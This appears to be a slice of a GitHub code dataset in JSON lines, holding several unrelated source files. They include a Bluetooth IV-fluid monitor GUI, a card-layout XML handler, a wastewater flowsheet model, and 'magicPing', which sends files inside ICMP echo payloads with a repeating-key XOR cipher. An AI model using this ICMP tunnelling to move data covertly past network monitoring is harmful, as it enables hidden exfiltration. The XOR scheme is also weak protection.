설정\r\nwindow.resizable(False, False) # 윈도우 크기를 조절하지 못하도록 설정\r\n\r\nP = 0 # Progressbar 변수\r\nmax = 10 # Progressbar 사이즈 변수\r\nPercent = 0 # 남은 Percent를 표시하는(라벨) 변수\r\ninput_data = 0 # 블루투스 값 변수\r\nbluetooth = 0 # 블루투스 변수\r\n\r\ndef close_window():\r\n\tif bluetooth != 0:\r\n\t\tbluetooth.close()\r\n\twindow.destroy()\r\n\tprint(\"Window closed\")\r\nclosebutton = Button(window, text='X', command=close_window)\r\nclosebutton.grid(row =8, column = 0)\r\n\r\ndef createProcess(event): # Progressbar와 Percent라벨 생성하는 함수\r\n\t# global로 외부에서 생성한 변수를 가져옴(global로 설정 안하면 사용 못함)\r\n\tglobal P\r\n\tglobal max\r\n\tglobal Percent\r\n\tmax = int(maxnum.get()) #Entry에서 입력한 값을 숫자로 가져옴. Progressbar의 최대값을 의미함\r\n\t#Progressbar를 max값에 맞게 생성\r\n\tP = ttk.Progressbar(window, orient=\"horizontal\", length=300, maximum=max, mode=\"determinate\")\r\n\tP.grid(row = 4, column = 3)#Progressbar의 위치 설정\r\n\tPercent = Label(window, text=\"0%\")#Percent를 표시하는 라벨을 생성\r\n\tPercent.grid(row = 4, column = 0)#Percent를 표시하는 라벨의 위치 설정\r\n\t\r\ndef getData():#블루투스에서 데이터를 가져오는 함수\r\n\t# global로 외부에서 생성한 변수를 가져옴(global로 설정 안하면 사용 못함)\r\n\tglobal input_data\r\n\tglobal bluetooth\r\n\tbluetooth.flushInput()#블루투스 데이터를 flushing함\r\n\tinput_data=bluetooth.readline()#블루투스에서 데이터를 Line으로 가져옴\r\n\tprint(input_data.decode())#데이터를 디코딩함(안하면 이상한 데이터로 보임)\r\n\tglobal flag\r\n\tif float(input_data.decode()) > 10: #블루투스를 통해 들어온 데이터 값이 10 이상이면 실행(가변저항값이 0~10이면 꺼져있다 판단)\r\n\t\tif flag == 0:\r\n\t\t\tupdate()# Progress 실행\r\n\t\t\tclock()# Timer 실행\r\n\t\t\tflag = 1 # 위 함수들이 실행되지 못하도록 Flag On\r\n\t\t\t\r\ntarget_time = 60*60*12 #임의로 최종 시간을 설정함(가변저항값에 따라 변경될 예정)\r\n\r\ndef mapping():# 블루투스를 통해 가져온 가변저항값(클램프 위치)을 시간으로 Mapping하는 함수 \r\n\t# global로 외부에서 생성한 변수를 가져옴(global로 설정 안하면 사용 못함)\r\n\tglobal input_data\r\n\tglobal target_time\r\n\t#가변저항값은 1024가 최대. 이를 14 등분으로 나누기 위해 73.2를 나눠줌\r\n\trating = str(round(float(input_data.decode())/73.2))\r\n\t#Mapping Table\r\n\ttiming = {'0': 12000, \r\n\t\t\t'1': 9000,\r\n\t\t\t'2': 7200,\r\n\t\t\t'3': 6000,\r\n\t\t\t'4': 4600,\r\n\t\t\t'5': 3700,\r\n\t\t\t'6': 3000,\r\n\t\t\t'7': 2300,\r\n\t\t\t'8': 1800,\r\n\t\t\t'9': 1400,\r\n\t\t\t'10':1200,\r\n\t\t\t'11':900,\r\n\t\t\t'12':700,\r\n\t\t\t'13':600}.get(rating, 600)\r\n\t#Mapping 값을 확인하기 위해 Print함\r\n\tprint(timing)\t\t\r\n\t#Mapping된 시간과 최대 용량을 가지고 용량이 0이 되는 최대 시간을 계산\r\n\ttarget_time = float(max * 20) * (float(timing) / 1000.0)\r\n\t#print(float(max * 20))\r\n\t#print((float(timing) / 1000.0))\r\n\treturn timing\r\n\t\r\n#현재 시간\r\ncurrent_time = 0\r\n\r\ndef clock():#수액의 용량이 0이 되는 남은 시간을 계산\r\n\t# global로 외부에서 생성한 변수를 가져옴(global로 설정 안하면 사용 못함)\r\n\tglobal current_time\r\n\tglobal target_time\r\n\t#이 함수가 다시 실행되면 현재 시간에 1을 추가\r\n\tcurrent_time += 1\r\n\t#초를 분과 초로 나눠줌(나머지와 몫을 이용) \r\n\tminute , second = divmod(int(target_time) - current_time, 60)\r\n\t#분을 시와 분으로 나눠줌(나머지와 몫을 이용) \r\n\thour, minute = divmod(minute, 60)\r\n\t#남은 시간을 나타내는 라벨에 표시\r\n\tL['text'] = \"{0} : {1} : {2}\".format(int(hour), int(minute), int(second))\r\n\t#이것은 멀티쓰레드를 위함으로 1초에 한번씩 이 함수가 실행되도록 함\r\n\t#멀티쓰레딩이기 때문에 다른 쓰레드에 영향을 주지 않음(병렬처리로 간주해도 됨)\r\n\tthreading.Timer(1, clock).start()\r\n\t\r\n\t\r\n\t\r\n\t\r\ndef portConnect(event):#Port Name에 해당하는 Port로 연결을 시도\r\n\t# global로 외부에서 생성한 변수를 가져옴(global로 설정 안하면 사용 못함)\r\n\tglobal bluetooth\r\n\t#Entry에서 입력한 Port name으로 연결 시도. bitrate는 9600\r\n\tbluetooth=serial.Serial(portnname.get(), 9600)\r\n\tprint(\"Connected\")\r\n\t#thread_run이라는 함수를 실행\r\n\tthread_run()\r\n\r\ndef thread_run():#주기적으로 블루투스에서 보낸 데이터를 받기 위한 쓰레드 함수\r\n\tgetData()#데이터를 받아오는 함수\r\n\t#0.5초마다 이 함수가 멀티쓰레드로 실행됨\r\n\tthreading.Timer(0.5, thread_run).start()\r\n\r\n#용량을 입력하는 부분을 알려주기 위한 라벨\r\nlabel1 = Label(window, text=\"용량\")\r\nlabel1.grid(row = 0, column = 0)\r\n#최대 용량을 설정하는 Entry\r\nmaxnum=Entry(window)\r\nmaxnum.bind(\"\", createProcess)\r\nmaxnum.grid(row = 0, column = 1)\r\n\r\n#Port name을 입력하는 부분을 알려주기 위한 라벨\r\nlabel2 = Label(window, text=\"포트\")\r\nlabel2.grid(row = 1, column = 0)\r\n#Port name을 설정하는 Entry\r\nportnname=Entry(window)\r\nportnname.bind(\"\", portConnect)\r\nportnname.grid(row = 1, column = 1)\r\n\r\n\r\nflag = 0\r\nprocess = 0\r\n\r\n\t\t\r\ndef update():#주기적으로 Progress를 업데이트 하기 위한 함수\r\n\t# global로 외부에서 생성한 변수를 가져옴(global로 설정 안하면 사용 못함)\r\n\tglobal process\r\n\tglobal flag\r\n\tglobal Percent\r\n\tglobal current_time\r\n\t#이 함수가 실행되면 Process가 1씩 증가\r\n\tprocess += 1\r\n\t#Progressbar에 Process 값을 입력(최대 용량이 100이라면 Process가 100이 될때 Progressbar가 꽉 채워짐)\r\n\tP['value'] = process\r\n\t#현재 용량이 얼만큼 줄어들었는지 퍼센트로 표시하는 부분\r\n\tPercent['text'] = \"{0}%\".format(int((process/float(max)) * 100))\r\n\t#만약 최대 용량만큼 수액 투여가 진행됐다면 밑을 실행\r\n\tif P['value'] >= P['maximum']:\r\n\t\tflag = 0#다시 flag를 off 시킴\r\n\t\tprocess = 0 #process 초기화\r\n\t\tcurrent_time = 0#현재 시간 초기화\r\n\t\treturn # This will end the after() loop\r\n\t#이 함수를 mapping된 시간만큼 다시 실행\r\n\twindow.after( mapping(), update )\r\n\r\n#남은 용량 표시하는 라벨\r\nL = Label(window, text=\"Remain\")\r\nL.grid(row = 5, column = 0)\r\n\r\n\r\n\r\n#window를 반복함(윈도우를 끄지 않을 때까지 실행)\r\nwindow.mainloop()\r\n\r\n\r\n\r\n","repo_name":"gyeomo/fluid_monitoring_system","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":8021,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71534396350","text":"class Dept:\r\n def __init__(self, *args): \r\n if len(args) == 1: \r\n self.dept=args[0] \r\n \r\n elif len(args) == 0: \r\n self.dept=\"SCO\" \r\n \r\n def deptname(self):\r\n print(self.dept)\r\n \r\n \r\nd1=Dept()\r\nd1.deptname()\r\n \r\nd2=Dept(\"CSE\")\r\nd2.deptname()","repo_name":"Debayan-creator/APP-SRM","sub_path":"week3/q3.py","file_name":"q3.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"75422304510","text":"import os\n\nfrom src.main.configuration.variables import Ids, Paths, Distances\nfrom src.main.handler.xml_handler import set_visibility, get_coordinates, set_coordinates, move, set_transparency\n\n\ndef layout_single_faced(id_set: dict) -> None:\n \"\"\"\n Adjusts the layout for cards with only a single face by deleting the backside.\n :param id_set: id set of the face to delete\n \"\"\"\n os.remove(Paths.WORKING_MEMORY_CARD + \"/Spreads/Spread_\" + id_set[Ids.SPREAD] + \".xml\")\n\n # TODO XML Outside of XML handler\n from xml.etree import ElementTree\n tree = ElementTree.parse(Paths.WORKING_MEMORY_CARD + \"/designmap.xml\")\n element = tree.getroot().find(\".//*[@src='Spreads/Spread_\" + id_set[Ids.SPREAD] + \".xml']\")\n tree.getroot().remove(element)\n\n with open(Paths.WORKING_MEMORY_CARD + \"/designmap.xml\", \"wb\") as file:\n file.write(b'')\n file.write(b'')\n tree.write(file, xml_declaration=False, encoding=\"utf-8\")\n\n\ndef layout_double_faced(id_sets: [dict]) -> None:\n \"\"\"\n Adjusts the layout for cards with two faces by changing the visibility of the modal panel.\n :param id_sets: id sets of both faces\n \"\"\"\n for id_set in id_sets:\n set_visibility(id_set[Ids.MODAL_O], id_set[Ids.SPREAD], True)\n\n shift = Distances.MODAL_HEIGHT\n\n coordinates = get_coordinates(id_set[Ids.ORACLE_O], id_set[Ids.SPREAD])\n set_coordinates(id_set[Ids.ORACLE_O], id_set[Ids.SPREAD], [(coordinates[0][0], coordinates[0][1] + shift),\n (coordinates[1][0], coordinates[1][1] + shift),\n (coordinates[2][0], coordinates[2][1]),\n (coordinates[3][0], coordinates[3][1])])\n\n\ndef layout_split(id_set: dict) -> None:\n \"\"\"\n Adjusts the layout for cards with a split layout, by changing visibility of the respective groups.\n :param id_set: id set of the face to change the layout for\n \"\"\"\n set_visibility(id_set[Ids.GROUP_NORMAL_O], id_set[Ids.SPREAD], False)\n set_visibility(id_set[Ids.GROUP_SPLIT_O], id_set[Ids.SPREAD], True)\n\n\ndef layout_adventure(id_set: dict) -> None:\n \"\"\"\n Adjusts the layout for a card with the adventure layout\n :param id_set: id set of the face to change the layout for\n \"\"\"\n set_visibility(id_set[Ids.ORACLE_O], id_set[Ids.SPREAD], False)\n set_visibility(id_set[Ids.GROUP_ADVENTURE_O], id_set[Ids.SPREAD], True)\n\n\ndef layout_basic(id_set: dict) -> None:\n \"\"\"\n Adjusts the layout for cards with a basic layout, removing the oracle text section and shifting the title down.\n :param id_set: id set of the face to change the layout for\n \"\"\"\n set_visibility(id_set[Ids.ORACLE_O], id_set[Ids.SPREAD], False)\n set_visibility(id_set[Ids.COLOR_INDICATOR_TOP_O], id_set[Ids.SPREAD], False)\n\n coordinates_artwork = get_coordinates(id_set[Ids.ARTWORK_O], id_set[Ids.SPREAD])\n set_coordinates(id_set[Ids.ARTWORK_O], id_set[Ids.SPREAD],\n [(coordinates_artwork[0][0], coordinates_artwork[0][1]),\n (coordinates_artwork[1][0], coordinates_artwork[1][1]),\n (coordinates_artwork[2][0], coordinates_artwork[2][\n 1] + Distances.LAYOUT_BASIC_SHIFT),\n (coordinates_artwork[3][0], coordinates_artwork[3][\n 1] + Distances.LAYOUT_BASIC_SHIFT)])\n\n coordinates_backdrop = get_coordinates(id_set[Ids.BACKDROP_O], id_set[Ids.SPREAD])\n set_coordinates(id_set[Ids.BACKDROP_O], id_set[Ids.SPREAD],\n [(coordinates_backdrop[0][0], coordinates_backdrop[0][1] + Distances.LAYOUT_BASIC_SHIFT),\n (coordinates_backdrop[1][0], coordinates_backdrop[1][1] + Distances.LAYOUT_BASIC_SHIFT),\n (coordinates_backdrop[2][0], coordinates_backdrop[2][1]),\n (coordinates_backdrop[3][0], coordinates_backdrop[3][1])])\n\n move(id_set[Ids.GROUP_HEADER_O], id_set[Ids.SPREAD], (0, Distances.LAYOUT_BASIC_SHIFT))\n\n\ndef layout_planeswalker(id_set: dict) -> None:\n \"\"\"\n Adjusts the layout for planeswalkers, by changing visibility of the respective group.\n :param id_set: ID set to change the layout for\n \"\"\"\n set_visibility(id_set[Ids.GROUP_PLANESWALKER_O], id_set[Ids.SPREAD], True)\n\n\ndef layout_transparent_body_art(id_set: dict) -> None:\n \"\"\"\n Adjusts the layout for cards with transparent body art, by stretching the artwork and changing the transparency.\n :param id_set: ID set to change the layout for\n \"\"\"\n\n set_transparency(id_set[Ids.BACKDROP_O], id_set[Ids.SPREAD], 85)\n\n coordinates_artwork = get_coordinates(id_set[Ids.ARTWORK_O], id_set[Ids.SPREAD])\n set_coordinates(id_set[Ids.ARTWORK_O], id_set[Ids.SPREAD],\n [(coordinates_artwork[0][0], coordinates_artwork[0][1]),\n (coordinates_artwork[1][0], coordinates_artwork[1][1]),\n (coordinates_artwork[2][0], coordinates_artwork[2][\n 1] + Distances.LAYOUT_FULL_ART_SHIFT),\n (coordinates_artwork[3][0], coordinates_artwork[3][\n 1] + Distances.LAYOUT_FULL_ART_SHIFT)])\n","repo_name":"FelixSchoen/ProxKy","sub_path":"src/main/handler/card_layout_handler.py","file_name":"card_layout_handler.py","file_ext":"py","file_size_in_byte":5422,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"7812791815","text":"import logging\nimport socket\nimport struct\nimport os\nimport threading\n\nimport time\n\nimport math\n\nfrom diffiehellman import diffiehellman\nimport pathlib\n\nimport itertools\n\nfrom magicPing import icmp\nfrom magicPing import utils\n\nlog = logging.getLogger(__name__)\n\n\nclass Client:\n \"\"\"\n Клиент, отправляющий файлы с помощью ICMP ECHO REQUEST/REPLY\n \"\"\"\n def __init__(self, max_size=1024**3 * 10, timeout=10., enable_cypher=False):\n \"\"\"\n Инициализация клиента\n :type max_size: int\n :type timeout: float\n :type enable_cypher: bool\n :param max_size: максимальный размер файла\n :param timeout: максимальное время ожидаиния ответа в секундах\n :param enable_cypher: Использование шифрования\n \"\"\"\n log.debug(\"Инициализация клиента\")\n log.debug(\"Максимальный размер файла: %s; таймаут: %s\",\n max_size, timeout)\n self.max_size = max_size\n self.timeout = timeout\n self.enable_cypher = enable_cypher\n self.iteration = threading.Semaphore(0)\n self.runnable = threading.Event()\n self.runnable.set()\n self.sock = None\n self.key = None\n log.debug(\"Инициализация клиента завершена\")\n\n def send_magic_init(self, ip, filename, file_size):\n \"\"\"\n посылка инициализирующего сообщения\n :type ip: str\n :type filename: str\n :type file_size: int\n :param ip: ip адресата\n :param filename: имя файла\n :param file_size: размер файла\n :return: кортеж: (id сеанса передачи файла, код ошибки)\n \"\"\"\n log.debug(\"Посылка инициализирующего сообщения\")\n try:\n bytes_filename = bytes(filename, \"UTF-8\")\n if self.timeout is not None:\n start = time.time()\n sock_timeout = self.timeout\n while self.timeout is None or sock_timeout > 0:\n try:\n flags = 1 if self.enable_cypher else 0\n icmp.send_echo_request(self.sock, ip, 0, 0,\n b'magic-ping-sini' + struct.pack(\"!B\", flags) +\n struct.pack(\"!Q\", file_size) +\n bytes_filename)\n _, icmp_id, _, data =\\\n icmp.receive_echo_reply(self.sock, ip, None, 0,\n sock_timeout / 2 if sock_timeout is not None else 1,\n b'magic-ping-rini', bytes_filename)\n return icmp_id, data[15]\n except socket.timeout:\n pass\n if self.timeout is not None:\n sock_timeout = start - time.time() + self.timeout\n raise socket.timeout\n finally:\n log.debug(\"Посылка инициализирующего сообщения завершена\")\n\n def create_cypher_key(self, ip, icmp_id):\n \"\"\"\n создание ключа шифрования\n :type ip: str\n :type icmp_id: int\n :param ip: адресат \n :param icmp_id: id сеанса передачи файла\n :return: общий ключ шифрования\n \"\"\"\n log.debug(\"Начат обмен ключами\")\n generator = diffiehellman.DiffieHellman(key_length=2048)\n generator.generate_public_key()\n if self.timeout is not None:\n start = time.time()\n sock_timeout = self.timeout\n while self.timeout is None or sock_timeout > 0:\n try:\n icmp.send_echo_request(self.sock, ip, icmp_id, 0,\n b'magic-ping-skey' +\n generator.public_key.to_bytes(int(math.log2(generator.public_key)) + 1,\n byteorder=\"big\"))\n _, _, _, data = icmp.receive_echo_reply(self.sock, ip, icmp_id, 0,\n sock_timeout / 2 if sock_timeout is not None else 1,\n b'magic-ping-rkey')\n generator.generate_shared_secret(int.from_bytes(data[15:], \"big\"))\n return bytearray.fromhex(generator.shared_key)\n except socket.timeout:\n pass\n if self.timeout is not None:\n sock_timeout = start - time.time() + self.timeout\n log.debug(\"Обмен ключами завершён\")\n raise socket.timeout\n\n def send_magic_data(self, ip, icmp_id, sequence_num, data):\n \"\"\"\n Посылка куска сообщения\n :type ip: str\n :type icmp_id: int\n :type sequence_num: int\n :type data: bytes или memoryview\n :param ip: адресат\n :param icmp_id: id сеанса передачи файла\n :param sequence_num: номер куска сообщения\n :param data: данные для передачи\n :return: None\n \"\"\"\n log.debug(\"Посылка куска данных\")\n try:\n if self.timeout is not None:\n start = time.time()\n sock_timeout = self.timeout\n if self.enable_cypher:\n data = bytes([a ^ b for a, b in zip(data, itertools.cycle(self.key))])\n while self.timeout is None or sock_timeout > 0:\n try:\n icmp.send_echo_request(self.sock, ip, icmp_id, sequence_num, b'magic-ping-send' + data)\n _, _, _, data = \\\n icmp.receive_echo_reply(self.sock, ip, icmp_id, sequence_num,\n sock_timeout / 2 if sock_timeout is not None else 1,\n b'magic-ping-recv' + data[-1:])\n return\n except socket.timeout:\n pass\n if self.timeout is not None:\n sock_timeout = start - time.time() + self.timeout\n raise socket.timeout\n finally:\n log.debug(\"Посылка куска данных завершена\")\n\n def send(self, filename, dest, enable_cypher=None):\n \"\"\"\n Посылка файла\n :type filename: str\n :type dest: str\n :type enable_cypher: bool\n :param filename: имя файла\n :param dest: адресат\n :param enable_cypher: использование шифрования (None == self.enable_cypher)\n :return: None\n \"\"\"\n with socket.socket(socket.AF_INET, socket.SOCK_RAW,\n socket.IPPROTO_ICMP) as sock:\n self.sock = sock\n log.info(\"Посылка файла \\\"%s\\\"; назначение: %s\", filename, dest)\n file = open(filename, \"rb\")\n file_size = os.stat(filename).st_size\n try:\n icmp_id, err = self.send_magic_init(dest, pathlib.PurePath(filename).name, file_size)\n enable_cypher = enable_cypher if enable_cypher is not None else self.enable_cypher\n if err != 0:\n log.error(\"Сервер вернул ошибку: %d\", err)\n return\n if enable_cypher:\n self.key = self.create_cypher_key(dest, icmp_id)\n seq_num = 0\n total_iterations = file_size // 65492 + (1 if file_size % 65492 else 0)\n for i in range(total_iterations):\n utils.print_progress_bar(i, total_iterations)\n data = file.read(65492)\n self.send_magic_data(dest, icmp_id, seq_num, data)\n seq_num = (seq_num + 1) % 65536\n else:\n utils.print_progress_bar(total_iterations, total_iterations)\n except socket.timeout:\n log.error(\"Превышено время ожидания ответа от сервера: ip: %s\", dest)\n finally:\n log.info(\"Посылка файла завершена\")\n self.sock = None\n","repo_name":"2ZeroSix/magic-ping","sub_path":"magicPing/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":8631,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"4444034801","text":"__author__ = \"Alejandro Garciadiego, Xinhong Liu, Adam Atia\"\n\nimport pyomo.environ as pyo\n\nfrom pyomo.network import Arc, SequentialDecomposition\nfrom watertap.unit_models.anaerobic_digestor import AD\nfrom watertap.unit_models.thickener import Thickener\nfrom watertap.unit_models.dewatering import DewateringUnit\nfrom watertap.unit_models.cstr import CSTR\nfrom watertap.unit_models.clarifier import Clarifier\n\nfrom watertap.unit_models.translators.translator_asm1_adm1 import Translator_ASM1_ADM1\nfrom watertap.unit_models.translators.translator_adm1_asm1 import Translator_ADM1_ASM1\n\nimport idaes.logger as idaeslog\nfrom idaes.core.solvers import get_solver\nimport idaes.core.util.scaling as iscale\n\nfrom watertap.property_models.anaerobic_digestion.adm1_properties import (\n ADM1ParameterBlock,\n)\nfrom watertap.property_models.anaerobic_digestion.adm1_reactions import (\n ADM1ReactionParameterBlock,\n)\nfrom idaes.models.unit_models.separator import SplittingType\nfrom watertap.property_models.anaerobic_digestion.adm1_properties_vapor import (\n ADM1_vaporParameterBlock,\n)\n\nfrom idaes.core import FlowsheetBlock, UnitModelCostingBlock\nfrom idaes.models.unit_models import (\n Feed,\n Mixer,\n Separator,\n PressureChanger,\n Product,\n)\n\nfrom watertap.unit_models.cstr_injection import CSTR_Injection\nfrom watertap.property_models.activated_sludge.asm1_properties import ASM1ParameterBlock\nfrom watertap.property_models.activated_sludge.asm1_reactions import (\n ASM1ReactionParameterBlock,\n)\nfrom watertap.core.util.initialization import assert_degrees_of_freedom\nfrom watertap.costing import WaterTAPCosting\nfrom watertap.costing.unit_models.clarifier import (\n cost_circular_clarifier,\n cost_primary_clarifier,\n)\nfrom pyomo.util.check_units import assert_units_consistent\n\n\ndef main():\n m = build()\n set_operating_conditions(m)\n assert_degrees_of_freedom(m, 0)\n assert_units_consistent(m)\n\n initialize_system(m)\n\n results = solve(m)\n\n add_costing(m)\n m.fs.costing.initialize()\n assert_degrees_of_freedom(m, 0)\n\n results = solve(m)\n pyo.assert_optimal_termination(results)\n display_results(m)\n display_costing(m)\n\n return m, results\n\n\ndef build():\n m = pyo.ConcreteModel()\n\n m.fs = FlowsheetBlock(dynamic=False)\n\n m.fs.props_ASM1 = ASM1ParameterBlock()\n m.fs.props_ADM1 = ADM1ParameterBlock()\n m.fs.props_vap = ADM1_vaporParameterBlock()\n m.fs.ADM1_rxn_props = ADM1ReactionParameterBlock(property_package=m.fs.props_ADM1)\n m.fs.ASM1_rxn_props = ASM1ReactionParameterBlock(property_package=m.fs.props_ASM1)\n # Feed water stream\n m.fs.FeedWater = Feed(property_package=m.fs.props_ASM1)\n\n # ==========================================================================\n # Activated Sludge Process\n # ==========================================================================\n # Mixer for inlet water and recycled sludge\n m.fs.MX1 = Mixer(\n property_package=m.fs.props_ASM1, inlet_list=[\"feed_water\", \"recycle\"]\n )\n # First reactor (anoxic) - standard CSTR\n m.fs.R1 = CSTR(\n property_package=m.fs.props_ASM1, reaction_package=m.fs.ASM1_rxn_props\n )\n # Second reactor (anoxic) - standard CSTR\n m.fs.R2 = CSTR(\n property_package=m.fs.props_ASM1, reaction_package=m.fs.ASM1_rxn_props\n )\n # Third reactor (aerobic) - CSTR with injection\n m.fs.R3 = CSTR_Injection(\n property_package=m.fs.props_ASM1, reaction_package=m.fs.ASM1_rxn_props\n )\n # Fourth reactor (aerobic) - CSTR with injection\n m.fs.R4 = CSTR_Injection(\n property_package=m.fs.props_ASM1, reaction_package=m.fs.ASM1_rxn_props\n )\n # Fifth reactor (aerobic) - CSTR with injection\n m.fs.R5 = CSTR_Injection(\n property_package=m.fs.props_ASM1, reaction_package=m.fs.ASM1_rxn_props\n )\n m.fs.SP5 = Separator(\n property_package=m.fs.props_ASM1, outlet_list=[\"underflow\", \"overflow\"]\n )\n # Clarifier\n # TODO: Replace with more detailed model when available\n m.fs.CL1 = Clarifier(\n property_package=m.fs.props_ASM1,\n outlet_list=[\"underflow\", \"effluent\"],\n split_basis=SplittingType.componentFlow,\n )\n # Sludge purge splitter\n m.fs.SP6 = Separator(\n property_package=m.fs.props_ASM1,\n outlet_list=[\"recycle\", \"waste\"],\n split_basis=SplittingType.totalFlow,\n )\n # Mixing sludge recycle and R5 underflow\n m.fs.MX6 = Mixer(\n property_package=m.fs.props_ASM1, inlet_list=[\"clarifier\", \"reactor\"]\n )\n # Product Blocks\n m.fs.Treated = Product(property_package=m.fs.props_ASM1)\n # Recycle pressure changer - use a simple isothermal unit for now\n m.fs.P1 = PressureChanger(property_package=m.fs.props_ASM1)\n\n # Link units\n m.fs.stream2 = Arc(source=m.fs.MX1.outlet, destination=m.fs.R1.inlet)\n m.fs.stream3 = Arc(source=m.fs.R1.outlet, destination=m.fs.R2.inlet)\n m.fs.stream4 = Arc(source=m.fs.R2.outlet, destination=m.fs.R3.inlet)\n m.fs.stream5 = Arc(source=m.fs.R3.outlet, destination=m.fs.R4.inlet)\n m.fs.stream6 = Arc(source=m.fs.R4.outlet, destination=m.fs.R5.inlet)\n m.fs.stream7 = Arc(source=m.fs.R5.outlet, destination=m.fs.SP5.inlet)\n m.fs.stream8 = Arc(source=m.fs.SP5.overflow, destination=m.fs.CL1.inlet)\n m.fs.stream9 = Arc(source=m.fs.SP5.underflow, destination=m.fs.MX6.reactor)\n m.fs.stream10 = Arc(source=m.fs.CL1.effluent, destination=m.fs.Treated.inlet)\n m.fs.stream11 = Arc(source=m.fs.CL1.underflow, destination=m.fs.SP6.inlet)\n m.fs.stream13 = Arc(source=m.fs.SP6.recycle, destination=m.fs.MX6.clarifier)\n m.fs.stream14 = Arc(source=m.fs.MX6.outlet, destination=m.fs.P1.inlet)\n m.fs.stream15 = Arc(source=m.fs.P1.outlet, destination=m.fs.MX1.recycle)\n pyo.TransformationFactory(\"network.expand_arcs\").apply_to(m)\n\n # Oxygen concentration in reactors 3 and 4 is governed by mass transfer\n # Add additional parameter and constraints\n m.fs.R3.KLa = pyo.Var(\n initialize=7.6,\n units=pyo.units.hour**-1,\n doc=\"Lumped mass transfer coefficient for oxygen\",\n )\n m.fs.R4.KLa = pyo.Var(\n initialize=5.7,\n units=pyo.units.hour**-1,\n doc=\"Lumped mass transfer coefficient for oxygen\",\n )\n m.fs.S_O_eq = pyo.Param(\n default=8e-3,\n units=pyo.units.kg / pyo.units.m**3,\n mutable=True,\n doc=\"Dissolved oxygen concentration at equilibrium\",\n )\n\n @m.fs.R3.Constraint(m.fs.time, doc=\"Mass transfer constraint for R3\")\n def mass_transfer_R3(self, t):\n return pyo.units.convert(\n m.fs.R3.injection[t, \"Liq\", \"S_O\"], to_units=pyo.units.kg / pyo.units.hour\n ) == (\n m.fs.R3.KLa\n * m.fs.R3.volume[t]\n * (m.fs.S_O_eq - m.fs.R3.outlet.conc_mass_comp[t, \"S_O\"])\n )\n\n @m.fs.R4.Constraint(m.fs.time, doc=\"Mass transfer constraint for R4\")\n def mass_transfer_R4(self, t):\n return pyo.units.convert(\n m.fs.R4.injection[t, \"Liq\", \"S_O\"], to_units=pyo.units.kg / pyo.units.hour\n ) == (\n m.fs.R4.KLa\n * m.fs.R4.volume[t]\n * (m.fs.S_O_eq - m.fs.R4.outlet.conc_mass_comp[t, \"S_O\"])\n )\n\n # ======================================================================\n # Anaerobic digester section\n m.fs.asm_adm = Translator_ASM1_ADM1(\n inlet_property_package=m.fs.props_ASM1,\n outlet_property_package=m.fs.props_ADM1,\n reaction_package=m.fs.ADM1_rxn_props,\n has_phase_equilibrium=False,\n outlet_state_defined=True,\n )\n\n m.fs.RADM = AD(\n liquid_property_package=m.fs.props_ADM1,\n vapor_property_package=m.fs.props_vap,\n reaction_package=m.fs.ADM1_rxn_props,\n has_heat_transfer=True,\n has_pressure_change=False,\n )\n\n m.fs.adm_asm = Translator_ADM1_ASM1(\n inlet_property_package=m.fs.props_ADM1,\n outlet_property_package=m.fs.props_ASM1,\n reaction_package=m.fs.ADM1_rxn_props,\n has_phase_equilibrium=False,\n outlet_state_defined=True,\n )\n\n # ====================================================================\n # Primary Clarifier\n m.fs.CL = Clarifier(\n property_package=m.fs.props_ASM1,\n outlet_list=[\"underflow\", \"effluent\"],\n split_basis=SplittingType.componentFlow,\n )\n\n # Thickener\n m.fs.TU = Thickener(property_package=m.fs.props_ASM1)\n # Dewaterer\n m.fs.DU = DewateringUnit(property_package=m.fs.props_ASM1)\n\n m.fs.MX2 = Mixer(\n property_package=m.fs.props_ASM1, inlet_list=[\"feed_water1\", \"recycle1\"]\n )\n m.fs.MX3 = Mixer(\n property_package=m.fs.props_ASM1, inlet_list=[\"feed_water2\", \"recycle2\"]\n )\n m.fs.MX4 = Mixer(\n property_package=m.fs.props_ASM1, inlet_list=[\"thickener\", \"clarifier\"]\n )\n\n # Make connections related to AD section\n m.fs.stream2adm = Arc(\n source=m.fs.RADM.liquid_outlet, destination=m.fs.adm_asm.inlet\n )\n m.fs.stream6adm = Arc(source=m.fs.SP6.waste, destination=m.fs.TU.inlet)\n m.fs.stream3adm = Arc(source=m.fs.TU.underflow, destination=m.fs.MX4.thickener)\n m.fs.stream7adm = Arc(source=m.fs.TU.overflow, destination=m.fs.MX3.recycle2)\n m.fs.stream9adm = Arc(source=m.fs.CL.underflow, destination=m.fs.MX4.clarifier)\n m.fs.stream4adm = Arc(source=m.fs.adm_asm.outlet, destination=m.fs.DU.inlet)\n m.fs.stream5adm = Arc(source=m.fs.DU.overflow, destination=m.fs.MX2.recycle1)\n m.fs.stream01 = Arc(source=m.fs.FeedWater.outlet, destination=m.fs.MX2.feed_water1)\n m.fs.stream02 = Arc(source=m.fs.MX2.outlet, destination=m.fs.MX3.feed_water2)\n m.fs.stream03 = Arc(source=m.fs.MX3.outlet, destination=m.fs.CL.inlet)\n m.fs.stream04 = Arc(source=m.fs.CL.effluent, destination=m.fs.MX1.feed_water)\n m.fs.stream10adm = Arc(source=m.fs.MX4.outlet, destination=m.fs.asm_adm.inlet)\n m.fs.stream1adm = Arc(source=m.fs.asm_adm.outlet, destination=m.fs.RADM.inlet)\n\n pyo.TransformationFactory(\"network.expand_arcs\").apply_to(m)\n\n iscale.calculate_scaling_factors(m.fs)\n\n return m\n\n\ndef set_operating_conditions(m):\n # Feed Water Conditions\n m.fs.FeedWater.flow_vol.fix(20648 * pyo.units.m**3 / pyo.units.day)\n m.fs.FeedWater.temperature.fix(308.15 * pyo.units.K)\n m.fs.FeedWater.pressure.fix(1 * pyo.units.atm)\n m.fs.FeedWater.conc_mass_comp[0, \"S_I\"].fix(27 * pyo.units.g / pyo.units.m**3)\n m.fs.FeedWater.conc_mass_comp[0, \"S_S\"].fix(58 * pyo.units.g / pyo.units.m**3)\n m.fs.FeedWater.conc_mass_comp[0, \"X_I\"].fix(92 * pyo.units.g / pyo.units.m**3)\n 